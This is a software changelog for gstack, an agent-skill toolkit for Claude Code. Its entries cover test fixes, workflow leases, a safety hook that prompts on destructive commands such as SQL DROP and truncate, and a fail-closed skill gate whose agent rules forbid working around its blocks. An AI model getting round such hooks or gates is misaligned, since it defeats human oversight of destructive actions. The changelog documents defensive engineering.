test/qa-only-fixture.test.ts: in the late scenarios the fixture clock stands still from the start of each attempt until its runner starts, so the real setup work (directory copies and five git calls) costs no fixture time. The runner and cleanup stay on the real clock, as the deadline-evidence check requires. Each late capture must now get exactly the 1000 ms budget. A new late-slow-retry scenario stalls each attempt's setup for 1100 ms, longer than the whole budget, and its attempt 2 still has to succeed. Before, a loaded machine either used up the work budget in setup (QA-only work budget exhausted) or Bun's 1580 ms deadline killed a setup git child (exit null at skill-e2e-qa-workflow.test.ts:133); this is what failed late-retry in the 2026-10-24 and 2026-10-25 remote pregates. Under 24 busy loops on 4 cores: late-retry 1/20 → 20/20, late-failure-retry 2/20 → 20/20, late-timeout 6/20 → 20/20, late-slow-retry 20/20. Reverting the clock fails all four late scenarios unloaded; reverting the deadline fails late-slow-retry.

test/gstack-skill-start.test.ts: the GSTACK_CAPY=1 install-admission case gets an explicit 20 s timeout. Measured on a 4-core Capy machine with a temporary 60 s cap: 3.6–5.7 s through Capy's git shim (9 of 10 over 5 s), 2.6–4.9 s with the real git binary. Four of its ten spawns are full admissions at about 800 ms each.

Gate integrity

One test budget changed, approved by GStack Minder on 2026-10-25: the install-admission case's timeout goes from bun's 5 s default to 20 s, about 3.5 times the 5.7 s worst case measured above. No assertion changed.

The QA-only late scenarios register each attempt with its real outer budget (1000 + 80 + 5000 = 6080 ms, the value outerMs already asserts) instead of a shortened 1580 ms Bun deadline, which left cleanup 500 ms of real time under load. Measured child totals with the fix under 24 busy loops, 20 runs each: late-timeout 2.4–2.7 s, late-retry 4.1–4.3 s, late-failure-retry 4.7–5.0 s, late-slow-retry 6.2–6.6 s, against the parent's unchanged 15 s spawn timeout. The mocked 1000 ms capture budget, the 80 ms drain and every existing assertion are unchanged. Verdict: justified, because the deadline was a fixture artifact shorter than the budget the case declares, and the clock freeze, not the deadline, is what removes the load sensitivity.

context-restore-fragment-match: the failure surface moves from the whole transcript to the agent's report. Alpha or omega bytes in tool output no longer fail the case; the payments body in tool output no longer counts as loaded, so the report must show it. A run that resumes another checkpoint, or mixes two, still fails. test/test-of-test-ratchet.test.ts gains one BASELINE entry, the replay test, with its reason, and the new helper joins the touchfiles of the nine context-skills cases, as the derived-closure rule requires.

scripts/harness-version.json records test/helpers/llm-judge.ts as non-behavioral at HARNESS_VERSION 6: only a parse failure's message changes, before any score is parsed, so no case's verdict or pass-rate series changes.

No threshold, trial count, case kind, rubric, judge request or prompt changed.

[1.91.221.0] - 2026-10-25

The session-start updater no longer skips because of its own session's workflow lease, and the autostash tests stop failing their first pass in Free Tests. Since #3385, gstack-session-update skips the fast-forward while another session holds a workflow lease, and it means to ignore the session that started it (--exclude-ancestry-of). The check runs in the forked background updater, though, and passed the hook's own $$, which has exited by then, so the ancestry walk excluded nothing. A Claude Code process that had already run a skill (and so held a lease) and then started a session again in the same process (/clear, resume or compaction) logged SKIP leased pid=<its own pid> and never updated. test/session-update-autostash.test.ts hit the same gap plus a fixture leak: its first two fixtures spawned the updater with the whole parent environment, so it read the test preload's GSTACK_LEASE_DIR, which every test file in the same Bun process shares. A lease another file left there gave "Received: SKIP leased pid=3196/1m" where UPDATING or PULL_FAILED was expected, in 13 Free Tests runs since #3385 merged (each passed on the serial retry).

Fixed

bin/gstack-session-update: before it forks, the hook resolves its caller's harness pid with gstack_harness_pid "$PPID" (bin/gstack-harness-pid.sh), the same derivation bin/gstack-skill-start uses for the pid it leases, and the background lease check excludes that pid's ancestry. Leases held by other live sessions still skip the update. bin/gstack-upgrade runs its check in the foreground, so its $$ is alive and it is unchanged.

Tests

test/session-update-autostash.test.ts: every fixture now runs the updater with its own GSTACK_STATE_ROOT (the top of the state-root chain, instead of GSTACK_STATE_DIR, which an inherited GSTACK_HOME outranks) and its own GSTACK_LEASE_DIR. A negative control holds a live lease in the shared preload lease directory, confirms the ambient environment sees it, and shows the fixture still updates; it fails with "SKIP leased" without the fixture change. A positive case shows the fixture's own live lease still skips the update.

test/session-update-stages.test.ts: the starting session's own lease (the test process, behind a /bin/sh -c wrapper as a hook runner would use) no longer blocks the update. It fails on main with SKIP leased. The other session-update test files already pass an explicit environment, so their leases resolve to the fixture install's own git dir.

Gate integrity

No threshold, budget, timeout, trial count, case kind or assertion changed. The lease rule is narrower in one respect only: the starting session's own harness and its ancestors no longer count as holders, which is what --exclude-ancestry-of promised.

[1.91.220.0] - 2026-10-25

A design doc edited in host plan mode no longer goes stale for the plan reviews (#542). When /office-hours ran inside Claude Code's plan mode, the design doc lived twice: gstack's copy under ~/.gstack/projects/<slug>/ and the host's plan file under .claude/plans/. Later edits went only to the plan file, so /plan-ceo-review and /plan-eng-review read the older gstack copy and called it the source of truth. The gstack design doc stays the single source (Garry, Oct 17: "designdoc"). Edits made in the plan copy are now written through to it, and every plan review is warned when the copy is newer.

Fixed

office-hours/SKILL.md.tmpl: the closing design-doc check takes the host plan file that holds the doc. When that file is newer and differs, it is copied over the gstack doc (PLAN_COPY: written through), and the pairing is recorded beside the doc in <doc>.plan-copy. A repo copy under docs/designs/ is rewritten from the doc under Phase 5's scan rule. An older plan file never overwrites the doc, and outside plan mode nothing is recorded.

bin/gstack-design-doc-find: when the newest state-root doc has a recorded plan copy, the helper prints DESIGN_PLAN_COPY with the write-through command on stderr. When the copy is newer than the chosen doc and differs from it, it also prints STALE_DESIGN_DOC with the cp to run before reading. Stdout still prints only the doc path, so every caller of {{DESIGN_DOC_DISCOVERY}} (plan reviews, /autoplan, the spec-review prerequisite check) gets the lines with no change in rendered size. The write-through always targets the state-root doc, even when a newer repo copy won discovery.

plan-ceo-review/SKILL.md.tmpl, plan-eng-review/SKILL.md.tmpl: the design-doc check runs a STALE_DESIGN_DOC write-through before reading and says so in one line. After a review edits the plan copy, it runs the DESIGN_PLAN_COPY write-through after the exit gate, before telemetry.

To stay within the SKILL.md size pins, plan-eng-review drops its 15th cognitive pattern ("Error budgets", already named in pattern 7), and office-hours drops three explanatory sentences (cross-team discovery, the profile binary's mktemp details, the sessions[] array) and shortens one.

Tests

test/design-doc-plan-copy.test.ts runs the real helper and the generated office-hours block against temp state roots: no recorded copy (silent), a copy in sync (named, no warning), a newer edited copy (warning; running its printed cp updates the doc and clears it), a doc edited after the copy (no warning), relative, non-markdown and missing recorded paths (ignored), and a repo copy that wins discovery (the write-through still targets the state-root doc). The office-hours block writes newer plan edits through, never lets an older plan file overwrite the doc, and records nothing outside plan mode. Both plan reviews carry the helper's two line names.

Gate integrity

Size pins in test/fixtures/skill-md-size-allowlist.json only go down: plan-eng-review by 44 characters on 11 hosts, office-hours by 31 on 4 hosts. No pin was raised. No threshold, budget, timeout, trial count or case kind changed.

[1.91.219.0] - 2026-10-25

Local paid runs from eval:bg now set EVALS_RUN_ID, so the native-capture cases start instead of failing in 0 seconds. CI sets EVALS_RUN_ID per slice, but bun run eval:bg:pr --local launched without it, and the qa-callers, ship-docsync and qa-functional cases refuse to start without it. In GSTA-70's local /ship run, 17 of the 26 selected behaviors failed that way for $0. A failure like that is a launch failure, not a verdict, so the local run told you nothing about those cases.

Fixed

scripts/eval-bg.ts: the local backend launches through a new launchLocal. It exports EVALS_RUN_ID as the run-scoped log's name, reduced to [A-Za-z0-9_.-], and keeps a value you exported yourself. The id is written on the log's second line, so you can find the run's native captures. --help says so. Dispatched CI runs are unchanged.

Tests

test/eval-detach-timeout-floor.test.ts: a detached child launched by launchLocal sees a safe EVALS_RUN_ID named after its log, and an exported id is kept. A source check confirms that the local backend launches through launchLocal.

[1.91.218.0] - 2026-10-25

gstack-team-init required now blocks skills when its gate can't run, instead of letting them through. Issue #3319 (exGeni): the required-mode Skill hook is a node -e launcher. On a teammate's Mac or Linux machine without Node.js, the shell exits 127 with nothing on stdout. If .claude/hooks/check-gstack.cjs is missing, node exits 1. Claude Code treats any exit other than 0 or 2 as a non-blocking error, so in both cases the Skill call went ahead on exactly the machine the gate is for. A live Claude Code 2.1.310 session with node off PATH and no gstack install ran the skill.

Fixed

bin/gstack-team-init: the check-gstack handler is registered with "onFailure": "block", Claude Code's documented fail-closed switch (2.1.295+). A launcher that can't start, or exits with any code other than 0 or 2, now blocks the Skill call. The reason shown is blocking because onFailure is "block" plus the shell's node: not found (or node's Cannot find module …check-gstack.cjs). Exit 2 (deny) and exit 0 (allow) are unchanged. Re-running required upgrades an existing registration in place, and the manual-registration fallback names the field.

The required CLAUDE.md section tells the agent what those two block reasons mean (install Node.js; the hook file is missing) and not to work around them. required prints that every developer needs node on PATH and Claude Code 2.1.295+, and the README says the same.

Compatibility

Measured with a live claude -p Skill call per version. 2.1.295 and 2.1.310 block when node is missing or the hook file is gone, still deny with exit 2 when gstack is absent, and still run the skill when gstack is installed. 2.1.294 ignores the unknown field without rejecting the settings file: the hook still loads and denies as before, and a machine without node is still let through there, as it was before this change.

Copilot CLI documents command preToolUse hooks as already failing closed on a crash or non-zero exit, so this change does not alter its outcome. Its handling of the extra field was not measured (no Copilot login on the test machine).

Tests

test/gstack-team-init-hook-schema.test.ts: the handler is { type, command, onFailure: 'block' }. The registered command exits 127 with no stdout when node is off PATH and 1 when check-gstack.cjs is missing, the failures only onFailure turns into a block. Re-running upgrades a handler registered without the field to exactly one handler with it.

test/team-init-hook-shell-neutral.test.ts: through the platform's default shell, the command without node exits neither 0 nor 2 with empty stdout, and the bin registers the handler with onFailure: 'block'. The PowerShell case and its retries are unchanged.

test/team-mode.test.ts: the legacy-upgrade assertion pins the new field.

Gate integrity

One gate edit, and it tightens the gate: the required-mode Skill hook goes from fail-open to fail-closed when its launcher fails. Nothing that used to block now allows. Negative controls: with onFailure removed from the bin, 4 tests fail (the three new registration and upgrade tests plus the team-mode pin); with it dropped only from the in-place upgrade path, 2 fail. The live runs with gstack installed (2.1.294, 2.1.310) still run the skill, so the allow path is not broken. No threshold, budget, timeout, retry or trial count changed.

[1.91.217.0] - 2026-10-25

Windows free tests now also run on every push to main. windows-free-tests.yml ran on pull requests and dispatch only: 194 PR runs, 6 dispatches and 0 pushes in its last 200 runs. Merge trains dispatch only free-tests.yml on the train branch. So no Windows run ever saw a train's combined tree or main after a merge, and a Windows break caused by two individually green PRs only surfaced on the next unrelated PR. Found while working on GSTA-68.

Fixed

.github/workflows/windows-free-tests.yml: adds push: branches: [main], the same trigger free-tests.yml already has. The run uses the existing per-run concurrency group, and record_durations stays dispatch-only (on a push, inputs.record_durations is empty, so the lane runs and the recorder skips). Cost: about 40 job-minutes on GitHub's free windows-latest runners per merge.

Tests

test/windows-native-workflows.test.ts pins the new trigger set and requires the push trigger to be limited to main.

[1.91.216.0] - 2026-10-25

/sync-gbrain refuses an active autopilot before it touches the brain's source list (#3360, part 2; ported from #3362 by @exGeni). The code stage checked for a running gbrain autopilot only right before its destructive walk. By then it had already cleaned up legacy sources, renamed a source and run gbrain sources add, so a refused run still registered a source it never synced.

Fixed

bin/gstack-gbrain-sync.ts: the code stage runs the autopilot check before Step 0a, so a refusal leaves the source list untouched. The check before the walk stays, because autopilot can start while the steps in between run. Dry-run, read-only and deny policies and the local-engine skip still return earlier and are unchanged. Which processes count as an autopilot (the machine-wide probe, #3360 part 1) is unchanged.

Tests

test/gstack-gbrain-sync.test.ts runs the real script against a fake gbrain and a pgrep that reports an autopilot: the stage is refused and the fake saw no sources add, rename, remove or sync. On main the same run issues sources add.

[1.91.215.0] - 2026-10-25

An unattended /ship leaves its receipt in a file the parent can read, and the parent is told to read that file (GSTA-88). Before, Step 18's handoff section wrote the ship receipt only to stdout, and docs/unattended.md told the parent to read it from the PR body with gstack-ship-receipt read --pr <n> --json. An unattended run must not push, so there is no PR: the parent got a usage error or RECEIPT_MISSING, or, if an older PR existed, read that PR's receipt with exit 0 and a stale head. Now the handoff writes .gstack/tmp/ship-receipt.md, the parent reads it with read --body in the child's checkout, and it compares the receipt's head to the branch SHA either way.

Fixed

ship/sections/handoff.md.tmpl: the receipt write carries --out .gstack/tmp/ship-receipt.md. The completion-message step drops (\pr: none`), which was wrong (the block omits pr; only the SHIP_RECEIPT:line showspr=-`), and the "nothing precedes the identifiers" clause, which repeated "identifiers first". Ship's skeleton plus sections is 313,151 bytes, 13 below main and under its 313,281 cap; no cap or pin moved.

bin/gstack-skill-start: an unattended /ship prints one status line, UNATTENDED_SHIP: no push, no PR; Step 18 takes the handoff section; receipt at .gstack/tmp/ship-receipt.md. No other skill or session kind prints it, and no instruction block was added. The unattended block's /ship record sentence names the file for a run that did not push and the PR body only once a PR exists.

docs/unattended.md: for /ship, read gstack-ship-receipt read --body .gstack/tmp/ship-receipt.md --json in the child's checkout when the run did not push, use read --pr <n> --json only once a PR exists, and in both cases compare the receipt's head to the branch SHA, because read does not check that the receipt is current.

Tests

test/gstack-ship-receipt.test.ts runs the handoff template's write command as written in a fixture repository, then reads the file back with read --body: head is HEAD, session_kind is unattended and there is no pr. It also checks that the template and the generated section carry --out and that docs/unattended.md names the same file with read --body.

test/gstack-skill-start.test.ts checks that the UNATTENDED_SHIP line appears exactly once for an unattended /ship, alongside only the unattended-session block, and never for /review, /qa, /autoplan or for /ship in an interactive, spawned or headless session.

[1.91.214.0] - 2026-10-25

gstack-brain-sync --publish-removals --yes no longer prints list: unbound variable when it finishes, and it now removes its temp list and releases the sync lock. The command's EXIT trap named the function's local $list. When a publish succeeded, the function returned before the script exited, so the trap ran after list had gone out of scope. Under set -u it stopped at the unbound variable and never reached the cleanup, which left brain-sync-removals.* in $TMPDIR and .brain-sync.lock.d in ~/.gstack until a later run cleared the lock as stale (found by GSTA-44).

Fixed

bin/gstack-brain-sync: --publish-removals writes the temp file paths into its EXIT/INT/TERM trap when it installs the trap (quoted with printf %q), so the cleanup and lock release work however the function ends. The drain's trap in --once also names locals, but every path in that function ends with exit while they are still in scope, so it's unchanged. The other trap sites (the drain's lock-only trap and gstack-brain-restore's, which uses a global) don't have the bug.

Tests

test/brain-sync-removals.test.ts: a new case runs --publish-removals, then --publish-removals --yes twice (publishing, then nothing to publish) with a private TMPDIR. After each run, stderr has no unbound variable, the exit status is 0, TMPDIR is empty and the lock directory is gone. It failed before the fix.

[1.91.213.0] - 2026-10-25

The CI image and the Ubicloud free-suite VMs move off Node.js 22.20.0 to 22.23.4, and both now check the Node archive's SHA-256 before unpacking it (#3354, port of #3355 by @michael-sumner). 22.20.0 is affected by the October 21, 2026 Node.js security releases, including the Brotli decoder out-of-bounds write (CVE-2026-111497, high) and the TLS hostname bypass for leading-zero IPv4 hosts (CVE-2026-106069, high). 22.23.4 is the patched 22.x release. #3355 bumped .github/docker/Dockerfile.ci, but scripts/ubicloud/setup-free-suite.sh pins Node separately and would have kept installing 22.20.0 on every remote free-suite run.

Fixed

.github/docker/Dockerfile.ci: NODE_VERSION is 22.23.4 (Michael Sumner's commit). The archive is checked against NODE_SHA256, the linux-x64 hash from the release's SHASUMS256.txt, whose signature verifies against the Node.js release keyring, before it is unpacked.

scripts/ubicloud/setup-free-suite.sh: pins the same 22.23.4 and hash, and downloads the archive to a temporary file and verifies it instead of piping curl straight into sudo tar.

Tests

test/ci-image-cli-pin.test.ts gains four cases: Dockerfile.ci pins an exact Node version and a SHA-256, both files verify before they unpack, and setup-free-suite.sh pins the same version and hash as the image. On #3355's head alone, all four fail; on main, three fail.

The Bun ordering check in setup-free-suite.sh now looks for sha256sum -c after the Bun download instead of anywhere in the file, because the Node check now comes first.

The test names Dockerfile.ci as join(__dirname, '..', '.github', …), the form pregate's literal scan resolves, so a change to the image now selects it (before, pregate refused a Dockerfile.ci-only change with PREGATE_NO_LANE).

Gate integrity

One accepted-input change to review: the Bun ordering check searches for its sha256sum -c from the Bun download onward. It now accepts one input it used to reject: a file with some other sha256sum -c before the Bun download and the Bun check after it, which is this file. The property it guards, Bun verified after download and before unpack, is unchanged. A file whose only sha256sum -c sits before the download still fails, and so does removing the Bun hash or moving it after unzip (negative controls run). No threshold, budget, timeout, trial count or case kind changed.

[1.91.212.0] - 2026-10-25

/careful no longer asks about words inside a commit message (#1060; ported from #3221 by @Bhumika-1432006). The careful hook matched its MEDIUM patterns against the whole command, so git commit -m "fix: prevent drop table in migration" asked for approval as an SQL DROP. The hook now masks git commit's own literal message before those checks, including the -m "$(cat <<'EOF' … EOF )" form agents use most. Our commits on top of the contributor's scanner fix four problems found in review: the inline awk program made the whole hook a bash syntax error on bash 3.2 (macOS /bin/bash), so every Bash call failed the hook there; a newline after the message was dropped, so -m x⏎truncate … stopped asking; any -m '…' after a commit was masked, including another command's argument; and the heredoc form was never masked.

Fixed

careful/bin/mask-commit-message.awk (new, from the contributor's scanner): reads the command as one string and keeps its newlines. It splits at unquoted ; & | ( ) and newlines (a redirection's & does not split) and masks -m, -am, --message and --message= only in a segment whose first word is git with a commit word after it. Single-quoted messages, double-quoted messages without $, backtick or backslash, and a double-quoted $(cat <<'DELIM' … DELIM ) with a quoted delimiter are masked. Quotes, backslashes and comments are parsed as bash does. The command is left unmasked when it contains any other command, parameter or process substitution, a backtick, $'…', a heredoc, an unterminated quote, or a pipe after a masked message (git prints the message on stdout).

careful/bin/check-careful.sh: runs the program with awk -f from the hook's own directory, so bash 3.2 parses the hook again. A missing program or an awk error leaves the command unmasked. The HIGH deny tier, the PowerShell table and the obfuscation tripwire still read the unmasked command.

Tests

test/hook-scripts.test.ts keeps the contributor's 10 cases and adds 31. Masked (no prompt): every flag form, git -C repo commit, --amend, multi-line messages and four heredoc spellings ('EOF', "MSG", <<- with a tab, a quoted word in the body). Still asking: a command on the next line, a quote that spans a line break, another command's -m, echo git commit -m '…', an escaped quote, a backslash-newline, a heredoc with an unquoted delimiter, a substitution that closes the message early, a backtick, git commit -F - <<'EOF', $'…', a pipe after the commit (direct, after 2>&1, or from a subshell), a process substitution and a parameter expansion. A partial install without the awk file still asks.

The same cases pass with mawk and the one-true-awk (original-awk, the awk macOS ships). In a bash:3.2 container the hook as submitted in #3221 exits 2 with unexpected EOF while looking for matching '"' on every command; with this change it answers normally.

Gate integrity

One accepted-input change to review, in a safety hook: MEDIUM checks (and custom careful-patterns.txt rules) no longer see the masked text of git commit's own literal message. That is a weakening by design, limited to text that bash passes to git as a literal argument. The negative controls listed under Tests still ask. Commands that combine a commit with anything that could execute the message, or that the scanner cannot read with certainty, are checked unmasked, exactly as on main. No threshold, budget, timeout, trial count or case kind changed.

Known limit, still a false positive as on main: git commit -F - <<'EOF' messages and commits after an environment assignment or sudo are not masked.

[1.91.211.0] - 2026-10-25

gstack-diff-scope sees Python tests and nested test directories (#3335). A branch that changed components/orch/services/shared/tests/test_native_store_custody.py reported SCOPE_TESTS=false, because the Tests rule only knew *.test.*-style suffixes and test/, tests/, spec/ and __tests__/ at the repository root. /ship and /review use that flag to route the testing specialist, so a backend change whose tests follow pytest's test_*.py convention skipped it. The test-bootstrap resolver already counted these files, so the two detectors disagreed.

Fixed

bin/gstack-diff-scope: a changed path is a test when it matches TEST_PATH_RE, the same regex the test-bootstrap resolver uses for its TESTFILES count (scripts/resolvers/testing.ts): test dirs at any depth, test_*.py, tests.py, _test.<ext>, .test./.spec. JS and TS, _spec.rb and *Test.java/.kt. conftest.py counts too. The existing globs stay.

Tests

test/diff-scope.test.ts adds the issue's three paths, pkg/test_store.py, Django's tests.py, conftest.py, and nested __tests__/ and spec/ dirs; all eight fail on main. Controls that stay SCOPE_TESTS=false: latest.py, contest_rules.py, attest_signer.py and a testing/ dir. A new test checks that TEST_PATH_RE is byte-identical to the resolver's regex, so the two can't drift again.

[1.91.210.0] - 2026-10-25

/autoplan works when Claude Code's project directory is a subfolder of the repository (#3296). When the git root sits above the project (for example the root is $HOME and the session starts in $HOME/projects/app), a worktree session's journal lives in .claude/worktrees/<name> under that subfolder. The publication guard only looked for <project dir>/.git/worktrees, found nothing, and denied every phase Read with foreign_cwd, so the reporter had to restart the session from the repository root.

Fixed

autoplan/bin/phase-publication-hook.ts: linkedWorktrees walks up from the project directory to the first .git and reads that repository's worktree registry. A .git file (the project is itself a linked worktree or a submodule) stops the walk with no owners, as before. Git's two-way link is still required: the registry entry must name the worktree's .git file and that file must name the same entry back. No git process is started inside the hook.

Tests

test/autoplan-publication-hook.test.ts builds the reporter's layout with real git worktree add: a subfolder project directory (and a deeper one) owns the worktree under it, and the root still does. It fails on main. Controls that still get no owners: a nested independent repository (its own .git stops the walk), a project directory inside a linked worktree, a registry entry whose worktree names another repository, and a directory with no .git above it.

Gate integrity

One accepted-input change to review: from a project directory below the repository root, the guard now accepts the journal of a linked worktree of that same repository, which it already accepted when the project directory was the root. The seven existing foreign_cwd refusals in test/autoplan-publication-guard.test.ts (no link, one-sided links, another repository, a submodule gitdir, a project that is itself a worktree, a bare repository) still deny. No threshold, budget, timeout, trial count or case kind changed.

[1.91.209.0] - 2026-10-25

The free test suite no longer rewrites a contributor's global git pre-push hook (#3353). On a machine with a global core.hooksPath, test/redact-prepush-target.test.ts and test/fs-utils.test.ts ran gstack-redact install-prepush-hook with the parent environment. Git resolved the hooks directory to the global one, so the install moved the developer's own pre-push to pre-push.local and left a managed wrapper pointing into the test checkout, which breaks every later push once that checkout is gone. The same config also failed 4 tests in the target file, 5 in test/redact-prepush-hook.test.ts and 1 in fs-utils. CI has no global hooks path, so it stayed green.

Fixed

test/helpers/git-env.ts (new): gitEnv() is the one fixture environment for git and hook installs: GIT_CONFIG_GLOBAL=/dev/null, GIT_CONFIG_NOSYSTEM=1, GIT_CONFIG_COUNT=0 and no GIT_CONFIG_PARAMETERS. Config written inside the fixture repo still applies.

test/redact-prepush-target.test.ts, test/redact-prepush-hook.test.ts and test/fs-utils.test.ts pass it to every fixture git, install and hook spawn. test/redact-prepush-scan-range.test.ts and test/redact-prepush-rebase-force-push.test.ts drop their private copies (#2967) and import it.

Tests

A new case in test/redact-prepush-target.test.ts sets a global, system and environment core.hooksPath to a hook that fails, builds the fixture, and checks the developer's hooks directory is untouched, the managed hook landed in the fixture repo, and a push never runs the developer's hook. It fails without the shared environment.

Rerun of the issue's repro with HOME pointing at a gitconfig with a global hooks dir: on main, two files rewrote it and three files had failures; with this change all six redact-prepush-* and fs-utils files pass and the directory is unchanged.

[1.91.208.0] - 2026-10-25

The Capy install guide says that the team-mode session-start updater also waits for live workflow leases. With #3385 (#3363), bin/gstack-session-update skips its background fast-forward while another session holds a live workflow lease, the same leases bin/gstack-upgrade already honors. docs/capy-install.md described only the upgrade side.

Documentation

docs/capy-install.md: the workflow-lease paragraph now says the team-mode SessionStart hook (bin/gstack-session-update) honors the same leases. It logs SKIP leased pid=<p>/<age>m to analytics/session-update.log and tries again at the next session start, without writing its hourly throttle stamp.

[1.91.207.0] - 2026-10-25

Per-repository session counts include sessions from removed Claude Code worktrees (ported from #3334 by @Shweta-Mishra-ai). Claude Code creates worktrees at <repo>/.claude/worktrees/<name> and removes them once their branch merges, but their session history stays. gstack-global-discover resolved each session's recorded directory with git, so a removed worktree resolved to nothing: its sessions counted in the tool total and in no repository. Reproduced on main: 2 sessions in a repo plus 3 in a removed worktree gave total_sessions 5 but 2 for the repo.

Fixed

bin/gstack-global-discover.ts: when a session's directory no longer exists and sits inside <repo>/.claude/worktrees/<name> (or a subdirectory of it), the session counts with <repo>. Any other missing directory, and a worktree whose repository is gone too, still count in no repository. A live worktree keeps its own path, as before.

Tests

test/global-discover.test.ts gains six end-to-end cases built with real git worktree add and remove (removed worktree, a subdirectory of one, a repo with no remote, plus the live-worktree, gone-repo and plain-missing-directory controls) and table tests for the path matcher. The three positive cases and the matcher tests fail on main.

[1.91.206.0] - 2026-10-25

A repo that keeps .gstack/ out of git can give pregate a policy, and name the CI lanes a local run satisfies (#3286). On a shared repo where gstack is one contributor's tool, pregate fell back to defaults, so every platform lane the machine could not run (an ubuntu-latest suite on a Mac, say) became a requires-remote obligation that never cleared, even when that suite runs the same here. Ported from #3286 by arlophoenix, whose 13 commits carry the feature (merged with their history kept); our commits on top close two findings from a security-focused review of the port.

Added

lib/pregate/context.ts, lib/pregate/config.ts (arlophoenix): when the base branch carries no .gstack/pregate.json, gstack-pregate run reads <state root>/projects/<slug>/pregate.json. Never under --policy-from head, never a relative path or one inside the checkout, and never chosen by a checkout's .env (the bin ignores it, and a bare bun gstack-pregate beside one refuses). An unreadable file, a dangling link on its path, sealed or price_file refuses with PREGATE_CONFIG_INVALID; a base copy git cannot read refuses with POLICY_SOURCE_UNAVAILABLE unless git ls-tree confirms it is absent.

local (arlophoenix): <workflow.yml>/<job> lanes a local run satisfies run here instead of becoming requires-remote. Under 8 cores with a remote_gate or remote test_backend, the small-machine obligation still stands.

lib/pregate/index.ts (arlophoenix): the record names the user file and its digest, and verify goes PREGATE_STALE when it is edited, deleted, or appears after a run under the defaults. Fix texts for missing lanes, strays, stalls and remote_gate name the active policy file.

Fixed

lib/pregate/context.ts: a user policy whose path reaches the checkout through any symlink is ignored. Before, only the lexical path and the final target were checked, so a state root linked into the checkout, holding a link back out to another existing policy, let a branch choose a more permissive file without changing its bytes.

lib/pregate/index.ts: verify goes PREGATE_STALE when a link on the way to the absent user path starts pointing nowhere. A fresh run refuses that state, but verify looked only at the leaf, so an old defaults pass stayed publishable. The loader and verify now share one absence check.

Tests

test/pregate-user-policy.test.ts (new, arlophoenix) covers the user file, local, the refusals, .env isolation and stale receipts. New cases: a link chain through the checkout is refused for both a linked state root and a single in-repo hop, while a direct outside link is still read; and verify goes stale on a dangling parent, with the plain-absent path as the control.

test/pregate-rust.test.ts: the two cargo-lane cases skipped on Windows carry a TODO(#3380) naming the gap.

Gate integrity

No threshold, budget, timeout, trial count, case kind or skip changed. The user file can relax lanes only where the base has no policy at all, and only from outside the repository; the two fixes make that containment stricter.

No new dependency, no network call, no workflow change.

[1.91.205.0] - 2026-10-25

/ship's Step 9 can re-review just the fixes after a fixing pass, and a narrowed pass can never be the review that ships (#3339). Before, every fix cycle reran every specialist and the Red Team over the whole branch. On a large branch each full pass tends to find something new in code earlier passes already read, so the loop often ran to the three-cycle stop without converging. Now the pass after a fixing pass can review only what changed since that pass. One full pass still has to come last: a fix-range record is never CURRENT, and Step 11.5 can't bind it. Garry approved this on 2026-10-24 ("only with a mandatory final full pass").

Added

bin/gstack-review-log --start review --fix-range prints the start token, then FIX_BASE=<sha>. The base comes from the review log, never from the caller or the working tree, so gstack-wtree's fingerprint is untouched. It is the commit of the latest pass of the same skill, and that commit's tree must be exactly the content the pass started from, so git diff <FIX_BASE> holds every fix, committed or not. The start refuses (exit 1, "run a full pass") in each of these cases: there is no earlier pass, that pass didn't complete (restoring coverage always takes a full pass), it made no fixes, it has no captured start, it ran on another branch, a Step 11 review followed it, it started from uncommitted or untracked content, or its commit no longer resolves or is no longer an ancestor of HEAD (after a rebase). On the start-work-then-ship flow, where Step 9 first reviews uncommitted work, the first repeat therefore stays full.

lib/review-evidence.ts: the start token carries scope: "fix-range" and fix_base. The logged row takes scope and fix_base only from the token (a caller's values are dropped either way), and a token that names any fix base stays narrowed even if its scope is rewritten. On unchanged content its review_binding is {state: "fix-range", range_start_wtree, range_end_wtree, …}, with no start_wtree/end_wtree and no root wtree. reviewFreshness returns UNVERIFIED for any fix-range row ("fix-range pass; only a later full pass can clear review"), even one with a verified-looking binding.

bin/gstack-specialist-stats skips fix-range rows, so narrowed dispatches don't push specialists toward [GATE_CANDIDATE].

Changed

ship/sections/review-army.md.tmpl: the core checklist explains the fix-range start, and that FIX_BASE stands in for origin/<base> and <base> for that pass. Decision 3 allows the repeat to be a fix-range pass. Decision 4 continues to Step 10 only from a full pass. Nearby prose was tightened to pay for the growth, so ship's skeleton plus sections is 313,246 bytes against its 313,281 cap (35 bytes below main).

Tests

test/review-fix-range.test.ts (20 cases) follows Step 9.4's real order (fixes applied before the row is logged). It covers the base with committed and uncommitted fixes, chained fix-range passes, the eight refusals, a rewritten start token, a caller claiming scope: "full" on a fix-range token (it is still recorded as fix-range) or "fix-range" on a full one (it is dropped), Step 11.5's missing binding fields, UNVERIFIED freshness followed by CURRENT after a full pass, shared-libs reuse refusing a fix-range row, the stats exclusion, and the rendered Step 9 rules.

Gate integrity

One gate change to review: Step 9 may narrow a repeat pass. Verdict: not a weakening of what ships, because the narrowed pass can't be the final review. Three things enforce that: its row is never CURRENT, Step 11.5 has no start_wtree/end_wtree to bind, and decision 4 requires a full pass before Step 10. Mutation checks, each caught by the suite: dropping the freshness check, giving a narrowed row the normal binding, allowing a fix-range start after a clean, an incomplete or a Step 11-followed pass, accepting a non-ancestor base, accepting a start from uncommitted content, trusting the token's scope alone, and counting fix-range rows in stats. No threshold, budget, timeout, trial count or case kind changed.

[1.91.204.0] - 2026-10-25

An unattended run is told to end with GSTACK_RESULT only when its skill can write that line. The unattended block gstack-skill-start prints told every unattended skill to log choices in decisions.jsonl, write a gate list and end with GSTACK_RESULT: skill=<name> status=gate_pending run=<dir>. Only /autoplan has helpers that write a run directory, so /ship, /review, /qa and the rest were asked to produce files and a result line nothing writes, and a parent that trusted the block would wait for them. docs/unattended.md already names which skills write the line and what a parent reads for the others (#3281); the runtime text now says the same thing.

Fixed

bin/gstack-skill-start: the decision rules in the unattended block are the same for every skill: take the recommended option, leave unrecommended questions, consents, destructive options and the final gate pending, and never approve, publish or push. Only the sentence about the run's record changes by skill. /autoplan keeps its run directory, its decisions.jsonl rows, the gate list and GSTACK_RESULT: skill=autoplan status=gate_pending run=<dir>. /eval-plan ends at its spend approval with GSTACK_RESULT: skill=eval-plan status=gate_pending run=<outdir>, and the block says no helper writes a gate.json for it yet. Every other skill is told it writes no run directory and prints no result line, to stop at its first pending item and list it in its final report, and which record the parent reads: the ship receipt (gstack-ship-receipt read --pr <n> --json) for /ship, the review-log rows (gstack-review-read) for /review, the qa-report-*.md file for /qa, and the skill's own record in docs/unattended.md otherwise.

Tests

